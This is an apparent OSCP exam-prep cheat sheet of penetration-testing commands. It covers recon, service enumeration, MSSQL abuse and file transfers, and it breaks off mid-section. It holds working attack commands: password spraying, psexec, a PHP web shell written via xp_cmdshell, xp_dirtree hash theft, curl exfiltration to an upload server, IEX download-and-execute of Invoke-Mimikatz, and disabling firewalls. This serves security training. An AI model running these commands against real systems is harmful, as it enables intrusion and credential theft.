# OSCP Page

#### Wordlist

```bash
# WEB
/usr/share/wordlists/dirb/common.txt
/usr/share/dirb/wordlists/big.txt
/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Passwords
/usr/share/wordlists/rockyou.txt
# Usernames
/usr/share/wordlists/dirb/others/names.txt

# Passwords Leak
https://scatteredsecrets.com
https://weleakinfo.io
https://haveibeenpwned.com

# Hashcat rules
/usr/share/hashcat/rules/

# Precomplied binaries for Windows
/usr/share/windows-resources/
```

#### Cheat Sheet

```bash
https://github.com/0xsyr0/oscp
https://github.com/bryanqb07/oscp_notes
https://github.com/xsudoxx/OSCP
https://freedium.cfd/https://medium.com/@hunterid/recommendation-for-oscp-8477b0007154
https://github.com/intotheewild/OSCP-Checklist/
https://krovs.github.io/oscp-notes/
https://github.com/brianlam38/OSCP-2022/
https://www.linkedin.com/pulse/muhammad-nomans-oscp-journey-comprehensive-review-noman-khalid-rwmse/

# For AD
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
https://watchdogsacademy.gitbook.io/attacking-active-directory/
https://aditya-3.gitbook.io/oscp/
https://github.com/drak3hft7/Cheat-Sheet---Active-Directory
```

#### Scenarios

```bash
# File Read
/home/user/.ssh/id_rsa
/home/user/.ssh/id_ecdsa
/Users/user/.ssh/id_rsa

- Allways try the machine name as user:pass OR admin:admin OR default creds
- Try share folder name as web directory
- if page require auth try adding : Authorization: Basic YWRtaW46YWRtaW4=
```

#### Ports

```bash
# Unlikely vulnerable ports
135/tcp  open msrpc Microsoft Windows RPC
5357/tcp open http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) # only directory bruteforce
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
```

#### Troubleshooting

```bash
# VPN issue with RDP
sudo ifconfig tun0 mtu 1250

https://help.offsec.com/hc/en-us/articles/360046293832-Common-VPN-and-Machine-VM-Issues
```

#### Ressources&#x20;

```
https://gtfobins.github.io
https://lolbas-project.github.io
https://wadcoms.github.io
https://swisskyrepo.github.io/InternalAllTheThings
https://swisskyrepo.github.io/PayloadsAllTheThings
https://ippsec.rocks
https://www.netexec.wiki
https://book.hacktricks.wiki
```

## Useful commands

#### Windows & AD

```powershell
# Decrypt GPP AES-256 encrypted password
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

# Domain account policy
net accounts

# Add a local user and add it to administrators group
net user hunter Security@123 /add                 # Add user
net localgroup administrators hunter /add         # Add user to administrators  group
net localgroup 'Remote Desktop Users' hunter /add # Add user to RDU group

# Enable RDP remote access.
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# allow through firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Turn Off Firewalls
netsh advfirewall set allprofiles state off
```

#### Tcpdump

```bash
# Filter output with the source, destination and port
sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n port 81 -r password_cracking_filtered.pcap
```

#### Python

```bash
python3 -m venv .
source ./bin/activate
pip install aerospike
```

#### Open Ports

<pre class="language-bash"><code class="lang-bash"># Linux
<strong>netstat -tulnp                # Show with process IDs
</strong><strong>netstat -anp | grep LISTEN    # Filter for listening ports
</strong>ss -tulnp                     # Show with process info
# Windows cmd
netstat -an | find "LISTEN"
netstat -an | findstr LISTENING
netstat -ano                  # Show all with PID
# Windows PS
Get-NetTCPConnection | Where-Object {$_.State -eq "Listen"} | Select-Object LocalAddress, LocalPort
Get-NetUDPEndpoint | Select-Object LocalAddress, LocalPort    # Show all active UDP ports
</code></pre>

#### OOB

```bash
# start upload server
python3 -m uploadserver 8080
# Send output of a command to attacker
command &> /tmp/output; curl --data @/tmp/output http://127.0.0.1:8080/upload
# monitor trafic on localhost port 8080
sudo tcpdump -nvvvXi lo tcp port 8080
```

#### Automation

```bash
# Bash for loop
for line in $(cat "$1"); do echo "$line"; done
while IFS= read -r line; do echo "$line"; done < "$1"
# PS loop
Get-Content $args[0] | ForEach-Object { Write-Output $_ }
# Python for loop
import sys
with open(sys.argv[1]) as f:
    for line in f:
        print(line.strip())
```

#### Looking for creds

```bash
# Looking for creds
grep -rinE '(password|username|user|pass|key|token|secret|admin|login|credentials)'
```

## Information Gathering

#### Passive Information Gathering

```bash
# gathering basic information about a domain name
whois megacorpone.com -h 192.168.0.1
# reverse lookup
whois 38.200.0.1 -h 192.168.0.1

# Google Hacking
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com
https://ahrefs.com/blog/google-advanced-search-operators/

# Netcraft
https://searchdns.netcraft.com

# Open-Source Code
https://github.com/gitleaks/gitleaks
https://github.com/michenriksen/gitrob

# Shodan
ssl:hostname:megacorpone.com
hostname:megacorpone.com

# Security Headers and SSL/TLS
https://securityheaders.com
https://www.ssllabs.com

# Github
trufflehog git https://github.com/trufflesecurity/test_keys
```

#### Infrastructure-based Enumeration

```bash
# ASN/IP registrars : IANA, arin (Americas), RIPE (Europe), BGP Toolkit
# Domain Registrars & DNS : PTRArchive, ICANN, viewdns.info, whois.domaintools.com
# Breach Data Sources : HaveIBeenPwned, Dehashed

# Certificate Transparency
curl -s https://crt.sh/\?q\=domain.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

# grep for accessible subdomains
for i in $(cat subdomainlist);do host $i | grep "has address" | grep domain.com | cut -d" " -f1,4;done

# Scan each IP address in a list using Shodan
for i in $(cat ip-addresses.txt);do shodan host $i;done

# Cloud Resources
https://domain.glass
https://buckets.grayhatwarfare.com

# Google dorking
intext:domain.com inurl:blob.core.widows.net
intext:domain.com inurl:amazonaws.com
```

#### LLM-Powered Passive Information Gathering

```bash
- Can you print out all the public information about company structure and employees of inlanefreight?
- Can you provide the best 20 google dorks for inlanefreight.com website tailored for a penetration test
- Retrieve the technology stack of the inlanefreight.com website
```

#### Active Information Gathering

```bash
# TCP port scan with nc
nc -nvv -w 1 -z 10.0.0.1  440-450

# UDP port scan with nc
nc -nv -u -z -w 1 10.0.0.1 120-123

# TCP port scan with PS
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.0.0.1", $_)) "TCP port $_ is open"} 2>$null
```

## Network Enumeration

**Ping Sweep**

```bash
# Ping Sweep For Loop on Linux
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
# Ping Sweep For Loop Using CMD
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
# Ping Sweep Using PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
# Scan network range for open port 445
for i in $(seq 1 254); do nc -zv -w 1 172.16.5.$i 445; done
# Ping Sweep metasploit
run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
```

**Scan Network Range**

```bash
sudo nmap 10.10.0.0/24 -sn -oA tnet | grep for | cut -d" " -f5
sudo nmap -v -sn 10.10.2.1-253 -oG sweep.txt ; grep Up sweep.txt | cut -d " " -f 2
```

**Convert nmap XML report to HTML**

```bash
xsltproc target.xml -o target.html
```

**ACK-Scan**

```bash
sudo nmap 10.10.0.1 -p 21 -sA -Pn -n
```

**Scan by Using Decoys**

```bash
sudo nmap 10.129.2.28 -p 80 -sS -Pn -n -D RND:5
```

**Scan by Using Different Source IP**

```bash
sudo nmap 10.10.0.1 -S 10.129.2.200 -e tun0 -Pn -n --disable-arp-ping --packet-trace
```

**SYN-Scan From DNS Port**

```bash
sudo nmap 10.10.0.1 -p22 -sS --source-port 53 -Pn -n --disable-arp-ping
```

**Fast Scan**

```bash
rustscan -a 192.168.147.96
```

**Service Scanning**

<pre class="language-bash"><code class="lang-bash"><strong># Nmap scan
</strong>sudo nmap -sS 10.129.42.253 -sV --version-all -sC -O -A --reason -n -Pn
# Nmap Script Scan
sudo nmap -sS 10.10.0.1 -sV --version-all -sC -O -A --reason -n -Pn --script '((auth or brute or default or exploit or safe or version or vuln) and not broadcast-*)'
# Nmap Script Scan aggressive
sudo nmap -sS 10.10.0.1 -sV --version-all -sC -O -A --reason -n -Pn --script "intrusive,dos,discovery"
​
# List various available nmap scripts
locate scripts/citrix
​
# Run an nmap script on an IP
nmap --script smb-os-discovery.nse -p445 10.10.10.40
​
# Grab banner of an open port
netcat 10.10.10.10 22
</code></pre>

#### Nmap Options

<table><thead><tr><th width="286"></th><th width="462"></th></tr></thead><tbody><tr><td>-n</td><td>Never do DNS resolution</td></tr><tr><td>-sS</td><td>TCP SYN scan</td></tr><tr><td>-sT</td><td>TCP connect scan</td></tr><tr><td>-sU</td><td>UDP scans</td></tr><tr><td>-sV</td><td>Version detection</td></tr><tr><td>--version-all</td><td>Try every single Version probe (intensity 9)</td></tr><tr><td>-O</td><td>Enable OS detection</td></tr><tr><td>--osscan-guess:</td><td>Guess OS more aggressively</td></tr><tr><td>-sC</td><td>Run default NSE script</td></tr></tbody></table>

## Protocols & Services

**FTP  / 21**

```bash
# Interact with the FTP service on the target.
ftp <FQDN/IP>
nc -nv <FQDN/IP> 21
telnet <FQDN/IP> 21

# Interact with the FTP service on the target using encrypted connection.
openssl s_client -connect <FQDN/IP>:21 -starttls ftp

# Anonymous login
anonymous : anonymous
_anonymous :
_ftp : ftp

# Download all available files on the target FTP server.
wget -m --no-passive ftp://anonymous:anonymous@<target>
prompt no
mget * .

# Downlaod all
wget -m --user="anonymous" --password="anonymous" ftp://$ip:$port
wget -r ftp://Anonymous:pass@$IP

# Brute Forcing avec Medusa/hydra
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
hydra -L names.txt -P probable-v2-top1575.txt -s 21 ftp://$IP

# FTP Bounce Attack
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
```

**SMB / 139 , 445**

<pre class="language-bash"><code class="lang-bash"># SMB scan with nmap
nmap -v -p 139,445 --script smb* 192.168.10.0

# Collect NetBIOS information with nbtscan
sudo nbtscan -r 192.168.10.0/24
<strong>
</strong><strong># Enumerating SMB shares using null session authentication.
</strong>crackmapexec smb &#x3C;IP> --shares -u '' -p ''
smbclient -N -L //&#x3C;IP>
smbclient //&#x3C;IP>/&#x3C;share>                     # Connect to a specific SMB share.
smbmap -H &#x3C;IP> -r                            # -r ou -R for récursive
smbmap -H &#x3C;IP> --download "notes\note.txt"   # to download a file

# Enum4Linux
enum4linux-ng -R -d -A $ip
enum4linux -a $ip

# Interaction with the target using RPC.
rpcclient -U "" &#x3C;FQDN/IP> 
srvinfo            # Server information.
enumdomains        # Enumerate all domains that are deployed in the network.
querydominfo       # Provides domain, server, and user information of deployed domains.
netshareenumall    # Enumerates all available shares.
netsharegetinfo &#x3C;share>   # Provides information about a specific share.
enumdomusers       # Enumerates all domain users.
queryuser &#x3C;RID>    # Provides information about a specific user.
setuserinfo2 MOLLY.SMITH 23 'Password123!'    # Change pwd of a user

# Username enumeration
samrdump.py &#x3C;FQDN/IP>
enum4linux-ng.py &#x3C;FQDN/IP> -A -C
impacket-lookupsid -no-pass 'guest@manager.htb' 10000
nxc smb 10.10.11.236 -u guest -p ''  --rid-brute 10000  

# List remote shares with 'net view'
net view \\dc01 /all

# Interacting with SMB using CMD
C:\htb> dir \\192.168.220.129\Finance\
C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
C:\htb> dir n: /a-d /s /b            # list all files in n:
<strong>C:\htb> dir n: /a-d /s /b            # search for specific names in files
</strong>c:\htb> findstr /s /i cred n:\*.*    # search for a specific word within a file

# Interacting with SMB using PowerShell
Get-ChildItem \\192.168.220.129\Finance\

# Authenticate to a share
$username = 'us3r'
$password = 'P@sswd'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
New-PSDrive -Name "N" -Root "\\10.10.0.9\Finance" -PSProvider "FileSystem" -Credential $cred

# Search for specific names in files
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

# Search for a specific word within a file
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

# Interacting with SMB using Linux
sudo mount -t cifs -o username=us3r,password=P@sswd,domain=. //10.10.0.9/Finance /mnt/Finance

# Connect to a remote machine with a local administrator : impacket-smbexec, impacket-atexec
impacket-psexec administrator:'Password123!'@10.10.110.17
use exploit/windows/smb/psexec
smbclient \\\\10.10.110.17\\secrets -U Administrator --pw-nt-hash &#x3C;NTLMhash>

# Execute command with cme
crackmapexec smb 10.10.1.2 -u Administrator -p 'P@sswd' -x 'whoami' --exec-method smbexec

# Metasploit exploit module to check and exploit ms17_010
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_psexec
# CVE-2020-0796 "SMBGhost"
</code></pre>

**NFS / 2049**

<pre class="language-bash"><code class="lang-bash"><strong># Nmap
</strong><strong>sudo nmap --script nfs* &#x3C;FQDN/IP> -sV -p111,2049
</strong><strong>
</strong><strong># Show available NFS shares.
</strong>showmount -e &#x3C;FQDN/IP> 

# Mount the specific NFS share to ./target-NFS
sudo mount -t nfs &#x3C;FQDN/IP>:/&#x3C;share> ./target-NFS/ -o nolock 

# Unmount the specific NFS share.
umount ./target-NFS 
</code></pre>

**Kerberos / 88**

```bash
# sync time with DC
sudo ntpdate $IP
```

**DNS / 53**

<pre class="language-bash"><code class="lang-bash"># ANY request to the specific nameserver.
dig any domain.htb @&#x3C;nameserver> 

# AXFR request to the specific nameserve AKA DNS Zone Transfer
dig axfr domain.htb @&#x3C;nameserver> 
fierce --domain zonetransfer.me

# Automate A,AAAA,MX,HINFO,CNAME,NS,SOA,TXT,DNSKEY,AXFR,PTR requests
dnsrecon -d domain.htb -t std
dnsenum domain.htb
<strong>for type in A AAAA MX HINFO CNAME NS SOA TXT DNSKEY AXFR PTR; do echo -e "\n=== $type Records ==="; host -t $type domain.htb; done
</strong>"A","AAAA","MX","HINFO","CNAME","NS","SOA","TXT","DNSKEY","AXFR","PTR" | ForEach-Object { Write-Host "=== $_ Records ==="; nslookup -type="$_" domain.htb }

# Subdomain brute forcing.
dnsrecon -d domain.htb -D ./wordlist.txt -t brt
dnsenum --dnsserver &#x3C;nameserver> --enum -p 0 -s 0 -o subs.txt -f ~/wordlist.txt domain.htb
subbrute domain.htb -s ./wordlist.txt -r ./resolvers.txt
for sub in $(cat wordlist.txt);do dig $sub.domain.htb @10.1.1.1 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subs.txt;done
for sub in $(cat wordlist.txt); do host $sub.domain.htb; done

# If PTR records configured we can do reverse lookups
for ip in $(seq 1 254); do host 51.10.10.$ip; done | grep -v "not found"

# DNS spoofing AKA DNS Cache Poisoning
# Change etter.dns file and run ettercap. set target 1 (cible) and target 2 (gateway) and activate dns_spoof plugin
cat /etc/ettercap/etter.dns
inlanefreight.com      A   192.168.225.110    # Attacker IP
*.inlanefreight.com    A   192.168.225.110
</code></pre>

**Email Services : SMTP : 25,465,587 / IMAP4 : 143,993 / POP3 : 110,995**

```bash
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 <IP>

# SMTP : 25,465,587
telnet <IP> 25
# VRFY, EXPN, RCPT TO : can be used to enumerate valid usernames
smtp-user-enum -M RCPT -U userlist.txt [-D inlanefreight.htb] -t <IP>
# Password Attack : SMTP, POP3, IMAP4
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
# Open Relay
nmap -p25 -Pn --script smtp-open-relay <IP>
swaks --from notif@domain.com --to employees@domain.com --header 'Subject: Company Notif' --body 'Hi All, Test message' --server 10.10.1.1
sendemail -f 'jonas@localhost' -t 'mailadmin@localhost' -s $ip:25 -u 'Your spreadsheet' -m 'Here is your requested spreadsheet' -a Hepet.odt

# IMAP4 : 143,993
# use Evolution for GUI
# Log in to the IMAPS service using cURL.
curl -k 'imaps://<FQDN/IP>' --user <user>:<password> 
# Connect to the IMAPS service.
openssl s_client -connect <FQDN/IP>:imaps
# IMAPS Commands examples
1 LOGIN username password    # User's login.
1 LIST "" *                  # Lists all directories.
1 CREATE "INBOX"             # Creates a mailbox with a specified name.
1 DELETE "INBOX"             # Deletes a mailbox.
1 RENAME "ToRead" "Important"    # Renames a mailbox.
1 LSUB "" *                  # Returns a subset of names from the set of names that the User has declared as being active or subscribed.
1 SELECT INBOX               # Selects a mailbox
1 UNSELECT INBOX             # Exits the selected mailbox.
1 FETCH <ID> all             # Retrieves data associated with a message in the mailbox.
1 CLOSE                      # Removes all messages with the Deleted flag set.
1 LOGOUT                     # Closes the connection with the IMAP server.

# POP3 : 110,995
# Connect to the POP3s service.
openssl s_client -connect <FQDN/IP>:pop3s
# POP3s Commands examples
USER username       # Identifies the user : can be used for user enum
PASS password       # Authentication of the user using its password.
STAT                # Requests the number of saved emails from the server.
LIST                # Requests from the server the number and size of all emails.
RETR id             # Requests the server to deliver the requested email by ID.
DELE id             # Requests the server to delete the requested email by ID.
CAPA                # Requests the server to display the server capabilities.
RSET                # Requests the server to reset the transmitted information.
QUIT                # Closes the connection with the POP3 server.

# IMAP/SMTP Client
evolution

# Look for Creds in /var/spool/mail and /var/mail

# Cloud Enumeration
# Username enumeration and password spraying (o365spray, MailSniper, CredKing)
./o365spray.py --enum -U users.txt --domain msplaintext.xyz 
./o365spray.py --spray -U users.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
```

**SNMP / 161 UDP**

```bash
# SNMP with nmap
sudo nmap -sU --open -p 161 192.168.0.1-254 -oG open-snmp.txt
nmap -sU -p161 --script "snmp-*" 192.168.104.156

# Bruteforcing community strings of the SNMP service. 
onesixtyone -c community-strings.list <$IP>    # snmp.txt
nmap -sU <$IP> -p 161 --script=snmp-brute -Pn --script-args snmp-brute.communitiesdb=snmp.txt

# Querying OIDs using snmpwalk.
snmpwalk -v2c -c <community string> <$IP>
snmpwalk -c public -v1 -t <$IP>
snmpbulkwalk -c public -v2c <$IP> .
snmpbulkwalk -c public -v2c <$IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull 


# Bruteforcing SNMP service OIDs.
braa <community string>@<$IP>:.1.*

# Using snmpwalk to enumerate Windows users
snmpwalk -c public -v1 192.168.50.1 1.3.6.1.4.1.77.1.2.25

1.3.6.1.2.1.25.1.6.0	    # System Processes
1.3.6.1.2.1.25.4.2.1.2	    # Running Programs
1.3.6.1.2.1.25.4.2.1.4	    # Processes Path
1.3.6.1.2.1.25.2.3.1.4	    # Storage Units
1.3.6.1.2.1.25.6.3.1.2	    # Software Name
1.3.6.1.4.1.77.1.2.25	    # User Accounts
1.3.6.1.2.1.6.13.1.3	    # TCP Local Ports
```

**MySQL / 3306**

```bash
# Login to the MySQL server.
mysql -u username -pPassword123 -h <FQDN/IP>            # Linux
mysql.exe -u username -pPassword123 -h <FQDN/IP>        # Windows

# GUI Application for MSSQL, MySQL, PostgreSQL
dbeaver &
```

**MSSQL / 1433**

<pre class="language-bash"><code class="lang-bash"># Banner Grabbing
nmap -Pn -sV -sC -p1433 10.10.10.125

<strong># MSSQL Ping in Metasploit
</strong>auxiliary/scanner/mssql/mssql_ping
<strong>
</strong><strong># NMAP MSSQL Script Scan
</strong>nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 &#x3C;IP/FQDN>
</code></pre>

**IPMI / 623 UDP**

```bash
# Nmap
sudo nmap -sU --script ipmi-version -p 623 IP

# IPMI version detection.
msf6 auxiliary(scanner/ipmi/ipmi_version)

# Dump IPMI hashes.
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes)
```

**Linux Remote Management**

```bash
# Remote security audit against the target SSH service.
ssh-audit.py <FQDN/IP>

# Log in to the SSH server using the SSH client : -v optional for verbosity
ssh [-v] <user>@<FQDN/IP>

# Create a new SSH key
ssh-keygen -f key 

# Add the generated public key to the user
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys

# Log in to the SSH server using private key.
ssh -i private.key <user>@<FQDN/IP> -vvv

# Check whether if key is passphrase-protected
ssh-keygen -y -f id_rsa >/dev/null && echo "no passphrase" || echo "passphrase-protected or invalid"

# If ssh complain about libcrypto or key format
chmod 600 id_rsa
dos2unix id_rsa
vim --clean id_rsa

# Enforce password-based authentication.
ssh <user>@<FQDN/IP> -o PreferredAuthentications=password

# Scanning for Rsync
sudo nmap -sV -p 873 <FQDN/IP>

# Probing for Accessible Shares
nc -nv <FQDN/IP> 873

# Enumerating an Open Share
rsync -av --list-only rsync://127.0.0.1/dev

# Sync the file to attack host
rsync -av rsync://127.0.0.1/dev
```

**RDP / 3389**

<pre class="language-bash"><code class="lang-bash"># Nmap
nmap -sV -sC 10.129.201.248 -p3389 --script rdp*

# Check the security settings of the RDP service.
rdp-sec-check.pl &#x3C;FQDN/IP>

# Log in to the RDP server from Linux. xfreerdp3 /size:1920x1080
xfreerdp /u:&#x3C;usr> /p:"&#x3C;pass>" /v:&#x3C;IP> /dynamic-resolution +clipboard -cert:ignore -drive:share,/home/
rdesktop -u user &#x3C;FQDN/IP>
rdesktop $ip    # Occasionally we can see usernames

# Password spraying
hydra -L users.txt -p 'password123' 192.168.2.143 rdp
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

# RDP Session Hijacking
# We need SYSTEM privileges for this to work
query user
<strong>tscon {TARGET_SESSION_ID} /dest:{OUR_SESSION_NAME}
</strong># Admin priv to SYSTEM priv by creating a service / no longer works on Server 2019
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack

# CVE-2019-0708 BlueKeep https://github.com/RICSecLab/CVE-2019-0708
</code></pre>

**WinRM / 5985**

```bash
# Log in to the WinRM server.
# Windows PS
Test-WSMan <FQDN/IP>
# Linux
evil-winrm -i <FQDN/IP> -u <user> -p <password> 

# Execute command using the WMI service.
wmiexec.py <user>:"<password>"@<FQDN/IP> "<system command>" 
```

**Oracle TNS / 1521**

```bash
# Perform a variety of scans to gather information about the Oracle database services and its components.
./odat.py all -s <FQDN/IP> 

# Log in to the Oracle database.
sqlplus <user>/<pass>@<FQDN/IP>/<db>

# Upload a file with Oracle RDBMS.
./odat.py utlfile -s <FQDN/IP> -d <db> -U <user> -P <pass> --sysdba --putFile C:\\insert\\path file.txt ./file.txt
```

**LDAP / 389, 636, 3268, 3269**

```bash
# Enumerate ldap users
ldapsearch -h 10.10.1.1 -bx "DC=oscp,DC=exam"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://192.168.175.122" "(objectclass=*)"
ldapsearch -H ldap://$IP -x -s base namingcontexts
ldapsearch -H ldap://$IP -x -b"DC=hutch,DC=offsec"
ldapsearch -x -H ldap://$ip -D '' -w '' -b "DC=hutch,DC=offsec"
ldapsearch -H ldap://$ip -x -s base -b '' "(objectClass=*)" "*" +
nxc ldap $ip -u '' -p '' --query "(sAMAccountName=*)" ""
# Dump domaine information
ldapdomaindump 10.10.1.1 -u "OSCP.EXAM\user" -p P@ssw0rd --no-json --no-grep -o ldapdomaindump 
```

### MSSQL

#### Interacting with MSSQL

```sql
mssqlclient.py -p 1433 user@<ip>
mssqlclient.py 'domain/user':'password'@'ip' -windows-auth # connect using Windows Auth
sqsh -S <ip> -U user -P P@sswd -h                 
sqsh -S <ip> -U .\\user -P 'P@sswd' -h        # Windows Auth local account
sqlcmd.exe -S <ip> -U user -P P@sswd -y 30 -Y 30
```

**SQL Syntax**

```sql
# Show Databases
SELECT name FROM master.dbo.sysdatabases
# Select a Database
USE htbusers
# Show Tables
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
# Select all Data from Table "users"
SELECT * FROM users
```

#### Execute Commands

```sql
# Commands execution using xp_cmdshell
# Enable xp_cmdshell / GO after each command
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
EXECUTE xp_cmdshell 'whoami'
```

#### **Read & Write Local Files**

```sql
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

# Read Local Files
# By default, MSSQL allows file read on any file in the operating system to which the account has read access
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```

#### Capture MSSQL Service Hash

```sql
# Run responder OR impacket-smbserver
# XP_DIRTREE and XP_SUBDIRS Hash Stealing for the user mssqlsvc
EXEC master..xp_dirtree '\\10.10.110.17\share\'
EXEC master..xp_subdirs '\\10.10.110.17\share\'
```

#### Impersonate Existing Users with MSSQL

```sql
# Identify Users that We Can Impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
GO

# Verifying our Current User and Role
EXECUTE AS LOGIN = 'sa'    // recommended to run it within the master DB
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go
# To revert the operation
REVERT
```

#### Linked Database <a href="#mssql-linked-database" id="mssql-linked-database"></a>

<pre class="language-sql"><code class="lang-sql"><strong># Identify linked Servers in MSSQL : 1 = remote server ; 0 = linked server
</strong>SELECT srvname, isremote FROM sysservers

# send pass-through commands to the linked servers
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
</code></pre>

## File Transfers

## Windows

#### Download a file with PowerShell

<pre class="language-powershell"><code class="lang-powershell"><strong>Invoke-WebRequest https://&#x3C;snip>/PowerView.ps1 -OutFile PowerView.ps1
</strong>Invoke-WebRequest -Uri "https://&#x3C;snip>/PowerView.ps1" -OutFile "PowerView.ps1"
(New-Object Net.WebClient).DownloadFile('&#x3C;Target File URL>','&#x3C;Output File Name>')
iwr -uri https://&#x3C;snip>/PowerView.ps1 -Outfile PowerView.ps1
</code></pre>

#### Execute a file in memory using PowerShell

```powershell
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')
```

#### Upload a file with PowerShell

```powershell
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\file' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64

# Attacker machine
nc -lvnp 8000
echo <base64> | base64 -d -w 0 > hosts
```

#### Upload a file with PowerShell using uploadserver

```powershell
# start Upload server on port 4444
python3 -m uploadserver 4444
raven

# Past PSUpload.ps1 script into PowerShell or download it
https://raw.githubusercontent.com/juliourena/plaintext/refs/heads/master/Powershell/PSUpload.ps1
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
# Upload the file
Invoke-FileUpload -Uri http://<IP>:<Port>/upload -File C:\file
```

#### File Transfers with Powercat

```powershell
. .\powercat.ps1
iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
sudo nc -lnvp 443 > receiving_powercat.ps1
powercat -c 10.11.0.4 -p 443 -i C:\Users\powercat.ps1
```

#### Invoke-WebRequest using a Chrome User Agent

{% code overflow="wrap" %}

```powershell
Invoke-WebRequest http://<snip>/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
```

{% endcode %}

#### File transfer using SMB

<pre class="language-bash"><code class="lang-bash"># Create the SMB Server using smbserver.py
sudo impacket-smbserver share -smb2support /tmp/smbshare
# Copy a File from the SMB Server
C:\user> copy \\192.168.220.133\share\nc.exe

# Create the SMB Server with a Username and Password
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
# Copy a File from the SMB Server
<strong>C:\user> net use n: \\192.168.220.133\share /user:test test
</strong>C:\user> copy n:\nc.exe

# Windows shares Permissions : Share a file a grant Full access to Everyone
net share Public="C:\Users\Public\" /GRANT:everyone,FULL
icacls "C:\Users\Public\" /grant Everyone:(F) /T
# GUI
"Properties" -> "Sharing" -> "Advanced Sharing" -> "Share this folder" -> "Permissions" -> "Everyone" -> "Full Control"
"Properties" -> "Security" -> "Edit" -> "Add" -> "Location : MS01" -> "everyone" -> "Full control"
</code></pre>

#### Download a file using FTP

{% code overflow="wrap" %}

```powershell
sudo python3 -m pyftpdlib --port 21
C:\user> (New-Object Net.WebClient).DownloadFile('ftp://<IP>/file.txt', 'C:\ftp.txt')
```

{% endcode %}

#### Upload a file using FTP

```powershell
sudo python3 -m pyftpdlib --port 21 --write
# PowerShell Upload File
C:\user> (New-Object Net.WebClient).UploadFile('ftp://<IP>/ftp.txt', 'C:\file.txt')
```

#### File transfer with base64 encoding

```powershell
# Download
# Check file md5 hash
md5sum id_rsa
# Encode file to Base64
cat id_rsa |base64 -w 0;echo
# Copy and past the content in PS
